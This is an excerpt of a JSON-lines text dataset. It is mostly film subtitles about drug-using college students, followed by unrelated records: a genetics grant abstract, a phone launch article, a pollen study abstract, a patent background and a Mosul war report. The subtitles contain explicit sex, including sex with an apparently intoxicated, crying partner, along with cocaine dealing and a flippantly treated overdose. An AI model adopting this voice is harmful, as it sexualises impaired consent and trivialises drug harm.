freshman.\" \"Really?\" \"I thought you were older.\" \"No, I'm a freshman.\" \"Peter.\" \"Peter the freshman.\" \"She has dick-sucking lips, so I consider the options.\" \"I leave right now, go back to my room, play the guitar... masturbate to broadband-speed Internet porn...\" \"I'm going to come on those tits.\" \"...go to sleep.\" \"Or...\" \"I could play \"Quarters\" with Dickie and Quinlivan and that dumb guy from LA.\" \"Or I could take her to the Carousel for some coffee and ditch her there with the bill.\" \"Or I could take her back to my room, hope the Frog is gone, get stoned and fuck her.\" \"So, what do you think?\" \"What do I think?\" \"I think, why not?\" \"Rock and roll.\" \"She slowly followed me back to my","metadata":{"pile_set_name":"OpenSubtitles"},"id":712} {"contents":"dorm room\" \"like she knew this would happen, too eager, too stunned to speak.\" \"I was so excited, I couldn't stop shaking and I dropped the key when I tried to unlock the door.\" \"She sat on the bed and I played her a song I had written myself, then segued into one by Counting Crows.\" \"I played it quietly and sang the lyrics slowly and softly.\" \"She was so moved that she actually started to cry.\" \"* I'm not ready for this sort of thing... *\" \"Maybe it was the Ecstasy I'm pretty sure she was on.\" \"Maybe it was that she thought she really loved me.\" \"But when he kissed her on the lips, he instantly went hard.\" \"She was crying, her face was slick, but","metadata":{"pile_set_name":"OpenSubtitles"},"id":713} {"contents":"she let let him pull her clothes off.\" \"She smelled like sweet fruit.\" \"She was small, too.\" \"Her pubic hair was light and sparse.\" \"Yet, when he fingered her, he didn't feel anything-- she wasn't getting wet, even though she was making soft little moans.\" \"He was semi-stiff and losing his erection.\" \"Something was wrong, something was missing, he didn't know what.\" \"Confused, he started to fuck her.\" \"Before he came, it hit him-- he can't remember the last time he had sex sober.\" \"Girl:\" \"Peter!\" \"Oh, Peter!\" \"( classical music plays )\" \"Fuck!\" \"* This is stranger than I thought *\" \"* Six different ways inside my heart *\" \"* And everyone I'll keep tonight *\" \"* Six different ways go deep inside *\" \"* I'll tell","metadata":{"pile_set_name":"OpenSubtitles"},"id":714} {"contents":"them anything at all *\" \"* I know I'll give them more and more... *\" \"* I'll tell them anything at all *\" \"* I know I'll give the world and more *\" \"* They think I'm on my hands and head *\" \"* This time they're much too slow *\" \"* Six sides to every lie I say *\" \"* It's that American voice again *\" \"* It was never quite like this before *\" \"* Not one of you is the same *\" \"* To do do do... *\" \"You sneaky bitch.\" \"Sean's voice:\" \"\"Got you.\" \"You're mine now for the rest of the day, week, month, year, life.\" \"Have you guessed who I am?\" \"Sometimes I think you have.\" \"Sometimes, when you're scanning a crowd,\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":715} {"contents":"\"I feel those sultry dark eyes of yours stop on me.\" \"Are you too afraid to come up to me and let me know how you feel?\" \"I want to moan and writhe with you, and I want to go up to you and kiss your mouth and pull you to me and say, 'Love you, love you,' while stripping.\" \"I want you so bad it stings.\" \"I want to kill the ugly girls you're always with.\" \"Do you really like those boring, naive, coy, calculating girls, or is it just for sex?\" \"The seeds of love have taken hold, and if we won't burn together, I'll burn alone.\"\" \"* This is stranger than I ever thought. *\" \"What?\" \"How'd she do that?\" \"Blood clot.\" \"What's going on?\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":716} {"contents":"\"You're gonna have to sell that bike of yours,\" \" that's what's going on.\" \" Why?\" \"Where's my money, college boy?\" \"Do you take American Express?\" \"That's not funny.\" \"You like that?\" \"They taught it to me in the Army.\" \"One of 1 7 hand-to-hand combat methods of rendering your enemy defenseless.\" \"Now, all I got to do is apply positive pressure to rip your carpals free from your metacarpals, and you will be unable to operate your weapon!\" \"I'm not your enemy, Rupert, and I don't have a weapon.\" \"That's why you get a little time, homes.\" \"You want some coke?\" \"Sure.\" \"Then buy some of your own, bitch.\" \"Get the fuck out of my crib and get me my money.\" \"There's an Orgy Night at Booth","metadata":{"pile_set_name":"OpenSubtitles"},"id":717} {"contents":"House.\" \"I'm scoring for a bunch of freshman.\" \"They're rich, they want cocaine, they'll pay premium to get it.\" \"What do you think?\" \"I think you're a rich motherfucking motherfucker, who owes me a shitload of motherfucking cash.\" \"That's what I think, you rich motherfucking motherfucker.\" \"You want some blow, motherfucker?\" \"You bring me my motherfucking cash, motherfucker!\" \"Fuck you!\" \"Jesus fucking Christ, Rupert, don't get so tense.\" \"I'll show you tense, motherfucker.\" \"You're into me for a fuckload of money, and I think you and your motherfucking rich-kid friends are gonna take off to all your rich-ass motherfucking lives,\" \"leaving me holding my motherfucking dick!\" \"So fuck you!\" \"Fucking, Rupert, fucking A'.\" \"I'm not like those rich assholes.\" \"I'm on financial aid.\" \"I have to work for","metadata":{"pile_set_name":"OpenSubtitles"},"id":718} {"contents":"a living.\" \"I'm from a fucking farm in Nebraska.\" \"My family had to sell the fucking cow to get me here.\" \" I'm working in food service.\" \" Bullshit!\" \"My father's in the hospital, okay?\" \"My family's strapped for cash.\" \"I might have to drop out.\" \" Really?\" \" The Lord is my witness.\" \"Yes.\" \"You really don't have any fucking cash?\" \"No, I had to work all summer just to pay for this term.\" \"I thought you went home to New York for the summer.\" \"That's what I told people so they wouldn't laugh at me.\" \"I actually had to wash pigs all summer, Rupert.\" \"Jesus Christ, man, I can get these kids to overpay, they're so desperate for drugs.\" \"I'm your key to moving this shit","metadata":{"pile_set_name":"OpenSubtitles"},"id":719} {"contents":"on campus.\" \"You need me, and you know it.\" \"And I need the cash.\" \"We need each other.\" \"You get this straight, fuckhead.\" \"I need you like I need a motherfucking asshole on my elbow!\" \"Right here!\" \"An asshole!\" \"That's how much I need you.\" \"What do you think, Guest?\" \"I think you should sniff less cocaine.\" \"And stop leaving the gun there laying on the table, man.\" \"Leave the boy alone before he piss in panty.\" \"( laughs )\" \"You know I'm just fucking with you, baby, right?\" \"Right.\" \"( sniffs )\" \"What kind of markup do you think you can get off these rich-ass freshmen?\" \"Well, that depends on how stepped-on it is.\" \"Stepped-on?\" \"Guest, is our shit stepped-on?\" \"No, man, it's fresher than the morning","metadata":{"pile_set_name":"OpenSubtitles"},"id":720} {"contents":"snow.\" \"What the bumbaclot wrong with him?\" \"Maybe 20% over market value.\" \"50%, you say!\" \"Hot damn, college boy!\" \"That's some good motherfucking math!\" \"I do believe we have ourselves a deal.\" \"Do we have ourselves a deal?\" \"Sean:\" \"Sure.\" \"Good, it's time for you to get to work.\" \"Sometimes, a minute... will last like an hour, you know?\" \"Where other times... an hour just... just zips by in like a minute.\" \"It's all subjective.\" \"Every person perceives it... perceives it different.\" \"It's like, that's why you can't trust clocks, you know?\" \"Marc, you owe me 500 bucks.\" \"I want it by Sunday.\" \"Okay?\" \"You notice I don't have any clocks in my room, because they interfere with your ability to to adjust the time to... to suit","metadata":{"pile_set_name":"OpenSubtitles"},"id":721} {"contents":"your needs, you know?\" \"Marc.\" \"Do not be a slave to time, my friend, because, it\" \"there's no point.\" \"( Marc gasps )\" \"( groans )\" \"( grunting )\" \"I\" \" I can feel my dick.\" \"I can feel my dick.\" \"Whoo!\" \"Oh my God!\" \" Hey!\" \"Fucking, hey!\" \" ( banging bed )\" \"What about the cash?\" \"Marc, what about the fucking cash?\" \"What class, man?\" \"Who teaches that?\" \"Fucking\" \"Just go away, you know.\" \"Just stop bugging me.\" \"Just stop asking me.\" \"Stop kicking my fucking bed.\" \"Stop, you know, oooh...\" \"I'll get you your fucking-- just don't fuck my karma, dude!\" \"Don't fuck it up!\" \"( clarinet playing )\" \"( cheering )\" \"* Get yourself together, get yourself together *\" \"* Shake, shake, shake... *\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":722} {"contents":"\"* Get yourself together... *\" \"Hi, Mitch.\" \"What's up?\" \"Not very much.\" \"What's up with you?\" \"Not much.\" \"Can we talk?\" \"What do you want to talk about?\" \"Just what's going on.\" \"Hey, I warned you.\" \"Remember that.\" \"I know, I know.\" \"Wait, what did you warn me about?\" \"I warned you!\" \"* Shake, shake, shake... *\" \"Wait, Mitch.\" \"Mitch, don't be such a pussy.\" \"I am warning you again.\" \"I don't know what your fucking problem is.\" \"Just stay the fuck aw\" \" Hey.\" \" Hey, guys.\" \"Is there some sort of problem, Paul and Mitchell?\" \"No-- you two know each other?\" \"Yeah.\" \"Hi.\" \"Hi.\" \"Mitch, I'm kinda through partying tonight.\" \"Do you want to walk me back to my room?\" \"My roommate's at her boyfriend's tonight.\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":723} {"contents":"\"Mitch:\" \"Yeah.\" \"What about you, Paul?\" \"What are you doing?\" \" Come on, let's go.\" \" It might be fun.\" \" No.\" \" Come on.\" \" Let's go.\" \" You know you want to.\" \" Later, guy.\" \" Bye, Paul.\" \"Maybe next time.\" \"Mr. Bateman.\" \"Excuse you.\" \"Sean Bateman, right?\" \"Right.\" \"It's Paul?\" \"Right.\" \"The girl with Mitchell?\" \"Paul:\" \"You mean, Candice?\" \"Her name is Candice.\" \"Yeah, that's right.\" \"I had a class with her, but I failed it.\" \"Really?\" \"My type of guy.\" \"Fucking keg's dead.\" \"Typical.\" \"I wish I had a case of beer.\" \" Quesadilla?\" \" What?\" \"A quesadilla?\" \"Mexican food?\" \"El Sombrero?\" \"El Sombrero closed a long time ago.\" \"How about tomorrow night?\" \"I'll buy.\" \"I don't know.\" \"You'll buy?\" \"Totally buy.\" \"Rock and","metadata":{"pile_set_name":"OpenSubtitles"},"id":724} {"contents":"roll.\" \"Tomorrow, then.\" \"( alarm beeps )\" \"( stops )\" \"( guitar music playing )\" \"* Yellow is the color of my true love's hair *\" \"* In the morning, when we rise *\" \"* In the morning, when we rise *\" \" * That's the time * - * That's the time *\" \" * That's the time * - * That's the time *\" \"* I love the best *\" \"* Green is the color... *\" \"How could you possibly go out this early in the morning?\" \" I've got class.\" \" It's Saturday.\" \"* When we rise *\" \" ( beeping ) - * In the morning *\" \"* When we rise *\" \"Merde!\" \"What is it?\" \"Asshole, turn off the fucking thing!\" \" *","metadata":{"pile_set_name":"OpenSubtitles"},"id":725} {"contents":"That's the time * - * That's the time *\" \"* I love the best *\" \"( beeping continues )\" \"* Blue is the color of the sky *\" \"* In the morning, when we rise *\" \"* In the morning, when we rise *\" \" * That's the time * - * That's the time *\" \" * That's the time * - * That's the time *\" \"* I love the best... *\" \"( snores )\" \"( flatulence )\" \"* Mellow is the feeling that I get *\" \"* When I see her, hm-mmm *\" \"* When I see her, oh, yeah *\" \" * That's the time * - * That's the time *\" \" * That's the time * - * That's the time","metadata":{"pile_set_name":"OpenSubtitles"},"id":726} {"contents":"*\" \"* I love the best *\" \"* Freedom is a word I rarely use *\" \"* Without thinking, oh, yeah *\" \"* Without thinking, hm-mmm *\" \" * Of the time * - * Of the time *\" \" * Of the time * - * Of the time *\" \"* When I've been loved *\" \"* Yellow is the color of my true love's hair *\" \"* In the morning *\" \" * When we rise * - ( man snorts )\" \"* In the morning, when we rise *\" \" * That's the time * - * That's the time *\" \" * That's the time * - * That's the time *\" \"* I love the best. *\" \" Hi.\" \" Hey.\" \"Are you","metadata":{"pile_set_name":"OpenSubtitles"},"id":727} {"contents":"here for that class?\" \"The tutorial on the Post-Modern Condition?\" \" Yeah.\" \" It was canceled.\" \"Typical.\" \"I've never seen you there before.\" \"That's what's so typical.\" \"It's the first time I ever bothered to show up for it.\" \"Yeah, you've got bad timing.\" \"Saturdays suck ass.\" \"I don't have to put up with this shit.\" \"I'm dropping this fucking class.\" \" Yeah, me too.\" \" Really?\" \"Mm-hmm.\" \"I think I'm gonna change my major.\" \" To what?\" \" I don't know yet.\" \" What's yours?\" \" I don't even know.\" \"( sighs )\" \"Your name's Sean Bateman, right?\" \"Right.\" \"Your name is Lauren.\" \"Yeah.\" \"I bought pot from you last year.\" \"It was good.\" \"A little seedy though.\" \"You used to go out with that Paul Denton","metadata":{"pile_set_name":"OpenSubtitles"},"id":728} {"contents":"dude, right?\" \"Yeah.\" \"Before.\" \"Show me your eyes.\" \"*...\" \"Feeling that I get *\" \"* When I see her, hm-mmm *\" \"* When I see her, oh, yeah *\" \" * That's the time *\" \" Rock and roll.\" \" * That's the time * - * That's the time *\" \" * That's the time * - * I love the best *\" \"Maybe I'll see you at the next pre-Saturday-party party.\" \"Or something.\" \"* Freedom is a word I rarely use *\" \"* Without thinking, oh, yeah *\" \"* Without thinking, mm-hmm *\" \" * Of the time * - * Of the time *\" \" * Of the time * - * Of the time *\" \"* When I've been loved. *\" \"( singing in","metadata":{"pile_set_name":"OpenSubtitles"},"id":729} {"contents":"French )\" \"Oh my God.\" \"Harry tried to kill himself.\" \"Paul's voice:\" \"That is so typical.\" \"I just knew something like this was going to happen.\" \"I just had a feeling that there would be some obstacle, major or minor, that was going to prevent my evening with Sean from happening.\" \"You've got to come to Fel's house-- he's there.\" \"Shit, Jesus, Paul.\" \"We've got to do something.\" \"That's way too gay.\" \"Um... call security?\" \"Trust me, they'll be there within an hour.\" \"Security.\" \"Security?\" \"What do you need, a formal fucking invitation?\" \"I have an appointment at 7:00, Raymond!\" \"You are killing Harry!\" \"Pull it together!\" \"Mach schnell!\" \"What did he do, try to OD on Sudafed and wine coolers?\" \"Oh, my God.\" \"I brought Paul.\" \"","metadata":{"pile_set_name":"OpenSubtitles"},"id":730} {"contents":"What did he take?\" \" I don't know.\" \"Oh, Harry, sweetie, are you okay?\" \"He's going to get death of cold.\" \"I think we should take him to Dunham Hospital.\" \"That's all the way in fucking Keene!\" \"Are you crazy?\" \" Where else is there, asshole?\" \" I have to meet someone at 7:00.\" \"Fuck your meeting!\" \"Get the car, Raymond!\" \"Grab his feet!\" \"Jesus!\" \"Jesus, this is so typical.\" \"He found out he was adopted today.\" \"Could we stop at a Circle K and get some cigarettes?\" \"I remind you we have somebody OD'ing back here.\" \"He's not OD'ing.\" \"He's a freshman.\" \"Freshman don't OD.\" \"Fuck you, Paul!\" \"Oh shit, he's throwing up!\" \" Open the fucking window!\" \" He's not throwing up.\" \"Then what do you","metadata":{"pile_set_name":"OpenSubtitles"},"id":731} {"contents":"call that \"ccchhh\" sound, huh?\" \"Dry heaves.\" \"He's forgetting to breathe and he has a lot of air in his stomach.\" \"Maybe you should be inducing vomiting.\" \"Should I just pull the car over?\" \"!\" \" Can I change the CD?\" \" Shut up, Paul!\" \"You're going to be okay.\" \"* Blue-eyed dressed for every situation *\" \"* Moving through the doorway of the nation-- *\" \"( music stops )\" \" Come on, grab his arm.\" \" Oh, God.\" \"Okay, you're gonna make it.\" \"Both:\" \"Help!\" \" Help!\" \" We need some help over here.\" \" Please!\" \"This guy's OD'ing!\" \" Oh my God.\" \"Will you get him into the Emergency Room?\" \" Thank God.\" \" I'm on my break.\" \"I there anyone else around here, please?\" \"!\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":732} {"contents":"\" Hello?\" \" Please take care of Harry.\" \"Please, you've got to take care of him!\" \" Move, move!\" \" Oh, God.\" \"Oh, God.\" \"Sir, can I speak to your manager, please?\" \"Will you get him up.\" \"His name's Harry, please!\" \" What's his name?\" \" Harry.\" \" Harry.\" \" Harry, Harry.\" \"I'm not getting any pulse.\" \"Is this a joke?\" \"I can see him moving.\" \"He's not dead.\" \" I can see him breathing.\" \" He's dead, Paul, shut up!\" \"And how did this happen, exactly?\" \" Oh God, I don't know!\" \" Oh God, oh God!\" \"Will you shut up?\" \"He's not dead.\" \"He hasn't got a pulse.\" \"There's no heartbeat.\" \"His pupils are fixed and dilated.\" \"Harry, please come back.\" \"Sorry, there's nothing more I","metadata":{"pile_set_name":"OpenSubtitles"},"id":733} {"contents":"can do here.\" \"You have to do something.\" \"I've seen this on ER.\" \"Please fix him!\" \"Harry's gone bye-bye.\" \"Harry's gone to the big bye-bye.\" \"He's got his name in the papers on the back side.\" \"It's \"'toe-tag time' in Teenville\" tonight.\" \"Again.\" \" What?\" \" Teenville?\" \"You should've just said no, Harry.\" \" I'm not dead, am I?\" \" Ahh!\" \"Yes, you are!\" \"Shut up!\" \"Actually, you don't have a pulse.\" \"I think you're dead.\" \"If you let me run a few tests, I could probably prove it.\" \" You've got a malpractice suit!\" \" Harry is dead.\" \"You don't know what you're talking about!\" \"Harry:\" \"Seriously, am I dead?\" \"A few tests on Harry, I'm sure I could prove he's dead.\" \"No!\" \"Pain and suffering!\" \"I","metadata":{"pile_set_name":"OpenSubtitles"},"id":734} {"contents":"must insist you bring back your friend's corpse for me to do some tests.\" \"( groans )\" \"Is your ultimate deterrent to a Friday night party working?\" \"Sort of.\" \"The best would be Victor though.\" \"Okay, enough fantasizing.\" \"Victor is 3000 miles away.\" \"Use the book.\" \"Okay, how do I look?\" \"You look kinda skinny, actually.\" \"Skinny?\" \"Really?\" \"Bulimic skinny or anorexic skinny?\" \"What's the difference?\" \"Bulimic skinny passes for healthy, except your teeth rot, but my teeth aren't rotting, so...\" \"So you look bulimic skinny?\" \"Lauren, I'm telling you, it's amazing the weight you lose when you get off the pill.\" \"Yeah, until the 50 pounds you gain when you get knocked up.\" \"Okay, well, do the math.\" \"If a condom is 98% safe, and he wears","metadata":{"pile_set_name":"OpenSubtitles"},"id":735} {"contents":"two, then you're 196% safe.\" \"That is a much better percentage than the pill can offer.\" \"I don't think it works that way, Lara.\" \"Abstinence is 1 00% safe, which is less of a percentage than\" \"Whatever, I don't care.\" \"I don't major in math.\" \" So are you coming or not?\" \" I don't know.\" \"Lauren, listen to your friend and roommate.\" \"If you spend the rest of your life waiting for Victor, you're never gonna lose your virginity.\" \"You can't just wait for destiny to play itself out.\" \"You have to make it happen.\" \"( retching )\" \"Is she coming tonight?\" \" I doubt it.\" \" Why?\" \" She's been looking at the book.\" \" What book?\" \"It's this big medical book she's got of venereal","metadata":{"pile_set_name":"OpenSubtitles"},"id":736} {"contents":"diseases.\" \"Before a party, she looks through it to discourage herself from hooking up with people like you.\" \"It's got some pretty nasty imagery.\" \"And it helps her keep her focused on her homework.\" \" So, she's not coming, then?\" \" Nope.\" \"So, you want to get me another beer?\" \"Hey, Sean.\" \"Sorry I'm late.\" \"What?\" \"There was this whole thing-- I had to take this freshman to the hospital and there was this sick kid and, anyhow, I'm\" \"What the fuck are you talking about?\" \" I'm here.\" \" Never mind.\" \" I'll make it up to you.\" \" You don't have to.\" \"I know I don't have to, but I want to.\" \" I insist.\" \" Whatever.\" \"Really.\" \"I have some pot in my room if","metadata":{"pile_set_name":"OpenSubtitles"},"id":737} {"contents":"you want to smoke and get stoned.\" \" You have pot?\" \" In my room, yeah.\" \" Want a beer?\" \" Let's go.\" \"Hey, Lauren, this is...\" \" Jim.\" \" Jim, from Dartmouth.\" \" Hi.\" \" Brewski for you-ski?\" \" Sure.\" \" Hey, you want it you got it.\" \"He thinks this is the \"Dress to Get Screwed\" party.\" \"If you want him, I'll give him to ya.\" \"No, that's okay.\" \"You sure?\" \"'Cause I don't see Victor around.\" \"What about Sean Bateman?\" \"Have you seen him around?\" \"Yeah, actually, Sean Bateman just ran off with Paul.\" \" Paul Denton?\" \" Uh-huh.\" \" Are you serious?\" \" Yeah.\" \"You don't think... no.\" \" I don't know.\" \" No.\" \"He must just be selling him something.\" \" Must be.\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":738} {"contents":"\" Must be.\" \"Yeah.\" \"Okay, so what is this?\" \"Are you out on the prowl again?\" \"Yeah, that book's just not-- it's not doing it.\" \" No?\" \" Huh-uh.\" \"Good.\" \"Okay, well, just don't wait up for me, okay?\" \" Okay.\" \" Okay.\" \"Okay.\" \"Miss Lauren Hynde.\" \"Why weren't you at my tutorial last Saturday?\" \"Would you like a drink?\" \"( classical music plays )\" \"( chuckles )\" \"Come here.\" \" Mmm?\" \" Mm-hmm.\" \" Yeah.\" \" ( laughs )\" \" Do you want a turn-on?\" \" No thanks.\" \"Well... don't mind if I do.\" \"Are we going to do it here on the couch?\" \"Do what?\" \"You know, do it.\" \"( laughs ) What?\" \"Fuck?\" \"Oh, are you mad?\" \"I would lose my tenure.\" \"And I'm a","metadata":{"pile_set_name":"OpenSubtitles"},"id":739} {"contents":"married man.\" \"But aren't you hitting on me?\" \"Well, for a hummer, sure.\" \"I've heard you're talented, Miss Hynde.\" \"And it certainly can't hurt your GPA.\" \"So, shall we?\" \"So where did you spend last summer?\" \" Berlin.\" \" Paul:\" \"Sprechen sie Deutsch?\" \"What?\" \" Do you speak German?\" \" No.\" \" What the f--?\" \" You don't?\" \"No.\" \"Why?\" \"Well, I don't know.\" \"I just assumed, since you spent the summer in Berlin\" \"I thought maybe you\" \"No.\" \"Berlin, New Hampshire.\" \"Sean's voice:\" \"I need to get some more pot.\" \"I'm running out.\" \"And I need to get laid.\" \"Where the fuck was Lauren tonight?\" \"Lara's kind of hot.\" \"I could bang her and feel good about it.\" \"I'd rather have Lauren.\" \"I wonder why.\" \"It would","metadata":{"pile_set_name":"OpenSubtitles"},"id":740} {"contents":"just ruin my illusion of her innocence, her purity.\" \"Whoa!\" \"Is that really what I want?\" \"I need to fuck someone.\" \"Then I need to get more pot.\" \"Paul's voice:\" \"I watched him with growing intensity as he refilled the pipe in the dark and smoky din of the room.\" \"He delicately fingered what looked like dried moss to me, and it struck me then that I liked Sean because he looked slutty, a boy who'd been around.\" \"A boy who couldn't remember if he was Catholic or not.\" \"* Whooo... *\" \"* I don't know what color your eyes are, baby *\" \"* But your hair is long and brown *\" \"* Your legs are strong and so, so long *\" \"* And you don't come from","metadata":{"pile_set_name":"OpenSubtitles"},"id":741} {"contents":"this town *\" \"* My head is full of magic, baby *\" \"* And I have to share this with you *\" \"* I feel I'm on top again, baby *\" \"* That's got everything to do with you *\" \"* I'm alive *\" \"* So alive. *\" \"Woman on TV:\" \"Suck it harder!\" \"Look at that chick's cans.\" \" Implants.\" \" I like the feel of fake tits.\" \"( phone rings )\" \" I need to get cable in my room.\" \" Hello?\" \"Hi, Mom.\" \" ( turns sound off )\" \" What's going on?\" \"Sean:\" \"You are one dirty bitch!\" \"Paul:\" \"Tomorrow?\" \"The Jareds are coming?\" \"Oh.\" \"Does it have to be this weekend?\" \"I have a lot of schoolwork.\" \" How about next weekend?\" \"","metadata":{"pile_set_name":"OpenSubtitles"},"id":742} {"contents":"Faggoty sitcom,\" \" faggoty sitcom...\" \" Paul:\" \"Richard?\" \"Okay.\" \"Yeah, you too.\" \"I have to go into the city tomorrow night.\" \"Rock and roll.\" \" You want to go?\" \" Nope.\" \"\"Dressed to Get Screwed Party\" is tomorrow night.\" \"I know, and I don't want to leave you here alone.\" \"Deal with it.\" \"I'm borrowing these.\" \"Wait.\" \"Would you give me a ride to the bus station tomorrow?\" \"Whatever.\" \"Look, I have to meet my advisor.\" \"( woman on TV moans )\" \"Paul's voice:\" \"I shouldn't be leaving.\" \"He'll sleep with someone else.\" \"It's the \"Dressed to Get Screwed Party.\"\" \"What the fuck am I doing?\" \"I love you, Sean Bateman.\" \"Sean's voice:\" \"I wonder if Lauren goes wild during sex.\" \"I wonder if she comes easily.\" \"Or","metadata":{"pile_set_name":"OpenSubtitles"},"id":743} {"contents":"at all.\" \"I won't go to bed with a girl who doesn't.\" \"If I can't make a girl come, why bother?\" \"It would be like asking questions in a letter.\" \"Mmmm...\" \"I'm hungry.\"","metadata":{"pile_set_name":"OpenSubtitles"},"id":744} {"contents":"ABSTRACT Determining new causes for rare and common disease would have major and immediate benefits for patients and their families by improved genetic testing, genetic counseling, insurance reimbursement, and ultimately more effective treatment options. Our long term goal is to disruptively improve and expand genetic testing for rare and common disease. Current diagnostic tests only consider pathogenic variants in protein-coding genes. However, we now have evidence that a substantial fraction of rare disease is due to unknown non-coding genetic variants that influence the regulation of those genes. The goal of this proposal is to identify and quantify the effect of pathogenic non-coding genetic variants on the function and expression of genes that cause rare disease. This initial step will enable treatment early in life when it is still","metadata":{"pile_set_name":"NIH ExPorter"},"id":745} {"contents":"possible to stop the most severe consequences of disease, including death. We will focus on severe early-onset pediatric disorders, including glycogen storage diseases (GSD I, II, III, IV, and IX), and the fatty acid oxidation disorders, very long-chain acyl-CoA dehydrogenase deficiency (VLCAD), and multiple acyl-CoA dehydrogenase deficiency (MADD). To date, genetic tests for these and other diseases are limited to protein-coding mutations. However, our clinical team has collected numerous cases that have a single pathogenic coding variant on only one of the two alleles that must be both affected in these recessive disorders. We also have biochemical and biomarker evidence that supports the diagnosis. Those cases are an ideal opportunity to identify additional disease-causing variants. Our hypothesis is that the genetic causes of recessive disorders include novel genetic","metadata":{"pile_set_name":"NIH ExPorter"},"id":746} {"contents":"variants that can alter either protein sequence (Aim 1), splicing (Aim 2), or gene expression (Aim 3) of disease genes. We have assembled a team of Pediatric clinicians who are experts in GSDs, VLCAD, and MADD, as well as researchers who are experts in genetics, genomics, epigenetic regulation, biomedical engineering, and statistics. This team has obtained patient samples and received Duke IRB approval to begin immediately. We expect this study will identify and validate novel genetic variants that influence disease. While we propose to study a relatively small subset of rare disorders, these strategies will be immediately generalizable to any patient sample with any recessive disorder that has inconclusive genetic testing results. That outcome will provide comprehensive genetic testing, better understanding of disease mechanisms, and ultimately better treatment","metadata":{"pile_set_name":"NIH ExPorter"},"id":747} {"contents":"options.","metadata":{"pile_set_name":"NIH ExPorter"},"id":748} {"contents":"OnePlus 3 with 6GB RAM And Snapdragin 820 SoC Launched\n\nI don\u2019t know whether it was done intentionally or it was a mistake, but if it was a mistake then it was really a big one and someone is going pay for it. From past couple of couple of months we were getting so many leaks and rumors about OnePlus 3, and just before the launch event, OnePlus itself published a big page ad in Indian newspaper, and then just couple of hours before, OnePlus and Amazon India has sent an email to its users stating prices, specs, and other details.\n\nThere was no need for this, but still recently OnePlus has officially, yes officially announced its latest flagship smartphone, the OnePlus 3 which comes with some of the top","metadata":{"pile_set_name":"Pile-CC"},"id":749} {"contents":"end specs.\n\nWhen it comes to specs, the OnePlus 3 flaunts a 5.5-inch display screen with screen resolution of 1920\u00d71080 pixels, under the hood, it is powered by Snapdragon 820 processor along with 4GB of RAM which will have 32GB internal storage and a whopping 6GB of RAM which will have 64GB of internal storage.\n\nWhen it comes to camera front, it features a 16MP rear snapper with laser autofocus, PDAF, dual tone LED flash, f\/2.0 and both Optical Image Stabilization and Electronic Image Stabilization and 4K video recording support, for selfie lovers there is an 8MP front-facing camera as well. It houses a 3000mAh battery with Dash Charge, which is nothing just the improved version of Oppo\u2019s VOOC charging and let you charge your device much faster.\n\nFor connectivity, it","metadata":{"pile_set_name":"Pile-CC"},"id":750} {"contents":"supports WiFi, Bluetooth, GPS, NFC, LTE, and USB Type-C. When it comes to software, it will run on Android Marshmallow-based Oxygen OS, and it is available for the price of Rs. 27,999, and like already announced, this time, you don\u2019t need any invitation to buy it, you can visit the online store and buy it.","metadata":{"pile_set_name":"Pile-CC"},"id":751} {"contents":"The reversible inhibition of pollen germination of Nicotiana tabacum L.: an entry into a transformation system.\nThe hydrodynamics of mature pollen rehydration in Nicotiana tabacum was used to study reversible inhibition of pollen germination in vitro. Tobacco pollen was incubated for various times in media containing calcium, potassium and magnesium salts, boric acid, and exhibiting different osmotic pressures as a function of sucrose concentration. Total inhibition of germination with complete viability preservation was achieved for 56 h by keeping the grains in medium with 80% sucrose, since typical percentages of germination and pollen tube lengths were recovered after this treatment. These effects were considered as consequences of natural osmoregulation of rehydration\/germination in mature pollen. The possibility of applying these findings to the incubation of pollen with Agrobacterium tumefaciens to","metadata":{"pile_set_name":"PubMed Abstracts"},"id":752} {"contents":"develop a pollen transformation method is discussed.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":753} {"contents":"The present invention relates to the spectrophotometers.\nThe document EP 1 243 902 A1 in the name of the present applicant illustrates a spectrophotometer comprising: a light source; separator means, for separating the light beam coming from the source into various components corresponding to different wavelengths; selector means, for selecting one or more of the components of the light beam that are generated by said separator means; and sensor means for receiving the component selected by said selector means and for emitting at output electrical signals indicating the wavelength of the radiation received.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":754} {"contents":" \nThe spectrophotometer known from said document uses a separator element of any known type (for example a prism or a grating) to separate the light beam at output from the source into its components corresponding to the different wavelengths. The selection of one or more of the components of the light beam that are separated by means of said separator element is performed by means of an aligned set or a matrix array of electrostatic micro-shutters. The radiation selected by means of the electrostatic micro-shutters is made to converge on sensor means formed by a single sensor, for example a single photodiode, so as to avoid the high costs and complications of known solutions, which envisage sensor means formed by an","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":755} {"contents":"array of photodiodes.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":756} {"contents":"Iraqi special forces on Saturday were clearing buildings in neighborhoods they entered in eastern Mosul a day earlier, after pushing out Islamic State militants in their drive to take back the city.\n\nFighting continued in the morning, with both sides firing mortars and automatic weapons on each other's positions, while the Iraqi troops also responded with artillery. Clashes were most intense in the al-Bakr neighborhood. Sniper duels played out from rooftops in the mostly residential areas, where the majority of buildings are two stories high.\n\nThe special forces launched a two-pronged assault deeper into Mosul's urban center on Friday, unleashing the most intense street battles against IS militants since the offensive to retake the city began nearly three weeks ago. At least seven special forces troops have been killed in","metadata":{"pile_set_name":"OpenWebText2"},"id":757} {"contents":"the fighting.\n\nMore than 3,000 Iraqi troops took part in the assault under heavy U.S.-led coalition air support, but the pace of the fight also slowed as Iraqi forces moved from fighting in more rural areas with few civilians to the tight, narrow streets of Mosul proper. At least seven suicide attackers in explosives-laden vehicles attacked troops on Friday, five of whom were killed before nearing their targets.\n\nThe operation to retake Mosul is expected to take weeks if not months. Moving from neighborhood to neighborhood in house-to-house battles through dense warrens of booby-trapped buildings is time consuming and Iraq's military has repeatedly opted for slower operations in an effort to minimize casualties.\n\nSome 1 million civilians still remain in the city, complicating the advance. IS militants have driven thousands of","metadata":{"pile_set_name":"OpenWebText2"},"id":758} {"contents":"residents deeper into the city's built-up areas to be used as human shields, while hundreds of others have fled toward government-controlled territory and thousands have headed west into Syria.\n\nMosul is the last major IS stronghold in Iraq, and expelling the militant group from the city would be a major blow to the survival of its self-styled \"caliphate\" that stretches into Syria.\n\nIraqi forces have made uneven progress in closing in 